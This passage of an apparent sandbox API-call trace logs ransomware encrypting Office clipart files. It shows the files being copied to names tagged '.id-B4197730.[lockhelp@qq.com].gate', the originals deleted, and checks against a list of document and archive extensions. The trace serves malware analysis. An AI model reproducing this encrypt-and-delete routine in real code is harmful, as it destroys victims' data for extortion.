lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0296.762] WriteFile (in: hFile=0x4f8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0296.763] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.763] WriteFile (in: hFile=0x4f8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.763] SetEndOfFile (hFile=0x4f8) returned 1 [0296.971] CloseHandle (hObject=0x4f8) returned 1 [0296.971] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.971] SetEndOfFile (hFile=0x4b8) returned 1 [0296.974] CloseHandle (hObject=0x4b8) returned 1 [0296.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0296.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0296.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0296.984] lstrlenW (lpString=".doc") returned 4 [0296.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.984] lstrlenW (lpString=".docx") returned 5 [0296.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.984] lstrlenW (lpString=".pdf") returned 4 [0296.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.984] lstrlenW (lpString=".xls") returned 4 [0296.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.984] lstrlenW (lpString=".xlsx") returned 5 [0296.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.984] lstrlenW (lpString=".ppt") returned 4 [0296.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0296.984] lstrlenW (lpString=".zip") returned 4 [0296.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.984] lstrlenW (lpString=".rar") returned 4 [0296.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.985] lstrlenW (lpString=".bz2") returned 4 [0296.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.985] lstrlenW (lpString=".7z") returned 3 [0296.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0296.985] lstrlenW (lpString=".dbf") returned 4 [0296.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0296.985] lstrlenW (lpString=".1cd") returned 4 [0296.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0296.985] lstrlenW (lpString=".jpg") returned 4 [0296.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.992] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4796) returned 1 [0296.992] CloseHandle (hObject=0x538) returned 1 [0296.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0296.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0296.993] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.993] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0296.995] GetLastError () returned 0x0 [0296.995] ReadFile (in: hFile=0x538, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x12bc, lpOverlapped=0x0) returned 1 [0297.180] WriteFile (in: hFile=0x550, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x12c0, lpOverlapped=0x0) returned 1 [0297.655] ReadFile (in: hFile=0x538, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.655] WriteFile (in: hFile=0x550, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.655] SetEndOfFile (hFile=0x550) returned 1 [0297.655] CloseHandle (hObject=0x550) returned 1 [0297.656] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.656] SetEndOfFile (hFile=0x538) returned 1 [0297.658] CloseHandle (hObject=0x538) returned 1 [0297.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0298.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0298.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.809] lstrlenW (lpString=".doc") returned 4 [0298.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.809] lstrlenW (lpString=".docx") returned 5 [0298.809] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.810] lstrlenW (lpString=".pdf") returned 4 [0298.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString=".xls") returned 4 [0298.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.810] lstrlenW (lpString=".xlsx") returned 5 [0298.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.810] lstrlenW (lpString=".ppt") returned 4 [0298.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.810] lstrlenW (lpString=".zip") returned 4 [0298.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.810] lstrlenW (lpString=".rar") returned 4 [0298.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString=".bz2") returned 4 [0298.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString=".7z") returned 3 [0298.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.810] lstrlenW (lpString=".dbf") returned 4 [0298.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.810] lstrlenW (lpString=".1cd") returned 4 [0298.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.810] lstrlenW (lpString=".jpg") returned 4 [0298.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.822] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5260) returned 1 [0298.822] CloseHandle (hObject=0x514) returned 1 [0298.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0298.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0298.822] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.822] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0298.831] GetLastError () returned 0x0 [0298.831] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x148c, lpOverlapped=0x0) returned 1 [0299.129] WriteFile (in: hFile=0x52c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1490, lpOverlapped=0x0) returned 1 [0299.129] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.130] WriteFile (in: hFile=0x52c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.130] SetEndOfFile (hFile=0x52c) returned 1 [0299.136] CloseHandle (hObject=0x52c) returned 1 [0299.138] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.138] SetEndOfFile (hFile=0x514) returned 1 [0299.140] CloseHandle (hObject=0x514) returned 1 [0299.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0299.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0299.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0299.141] lstrlenW (lpString=".doc") returned 4 [0299.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.141] lstrlenW (lpString=".docx") returned 5 [0299.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.141] lstrlenW (lpString=".pdf") returned 4 [0299.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.141] lstrlenW (lpString=".xls") returned 4 [0299.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.141] lstrlenW (lpString=".xlsx") returned 5 [0299.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.141] lstrlenW (lpString=".ppt") returned 4 [0299.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0299.141] lstrlenW (lpString=".zip") returned 4 [0299.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.141] lstrlenW (lpString=".rar") returned 4 [0299.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.141] lstrlenW (lpString=".bz2") returned 4 [0299.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.141] lstrlenW (lpString=".7z") returned 3 [0299.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0299.142] lstrlenW (lpString=".dbf") returned 4 [0299.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0299.142] lstrlenW (lpString=".1cd") returned 4 [0299.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0299.142] lstrlenW (lpString=".jpg") returned 4 [0299.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.149] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=13968) returned 1 [0299.149] CloseHandle (hObject=0x514) returned 1 [0299.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0299.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0299.150] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.150] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0299.150] GetLastError () returned 0x0 [0299.150] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x3690, lpOverlapped=0x0) returned 1 [0299.269] WriteFile (in: hFile=0x52c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x36a0, lpOverlapped=0x0) returned 1 [0299.270] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.270] WriteFile (in: hFile=0x52c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.271] SetEndOfFile (hFile=0x52c) returned 1 [0299.271] CloseHandle (hObject=0x52c) returned 1 [0299.271] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.271] SetEndOfFile (hFile=0x514) returned 1 [0299.274] CloseHandle (hObject=0x514) returned 1 [0299.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0299.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0299.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0299.275] lstrlenW (lpString=".doc") returned 4 [0299.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.275] lstrlenW (lpString=".docx") returned 5 [0299.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.275] lstrlenW (lpString=".pdf") returned 4 [0299.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.275] lstrlenW (lpString=".xls") returned 4 [0299.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.275] lstrlenW (lpString=".xlsx") returned 5 [0299.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.275] lstrlenW (lpString=".ppt") returned 4 [0299.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0299.275] lstrlenW (lpString=".zip") returned 4 [0299.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.275] lstrlenW (lpString=".rar") returned 4 [0299.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.275] lstrlenW (lpString=".bz2") returned 4 [0299.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.275] lstrlenW (lpString=".7z") returned 3 [0299.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0299.275] lstrlenW (lpString=".dbf") returned 4 [0299.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0299.276] lstrlenW (lpString=".1cd") returned 4 [0299.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0299.276] lstrlenW (lpString=".jpg") returned 4 [0299.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.276] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2412) returned 1 [0299.276] CloseHandle (hObject=0x514) returned 1 [0299.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0299.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0299.277] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.277] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0299.277] GetLastError () returned 0x0 [0299.277] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x96c, lpOverlapped=0x0) returned 1 [0299.451] WriteFile (in: hFile=0x52c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x970, lpOverlapped=0x0) returned 1 [0299.451] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.451] WriteFile (in: hFile=0x52c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.451] SetEndOfFile (hFile=0x52c) returned 1 [0299.454] CloseHandle (hObject=0x52c) returned 1 [0299.456] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.456] SetEndOfFile (hFile=0x514) returned 1 [0299.459] CloseHandle (hObject=0x514) returned 1 [0299.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0299.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0299.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0299.460] lstrlenW (lpString=".doc") returned 4 [0299.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.460] lstrlenW (lpString=".docx") returned 5 [0299.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.460] lstrlenW (lpString=".pdf") returned 4 [0299.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.460] lstrlenW (lpString=".xls") returned 4 [0299.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.460] lstrlenW (lpString=".xlsx") returned 5 [0299.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.460] lstrlenW (lpString=".ppt") returned 4 [0299.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.460] lstrlenW 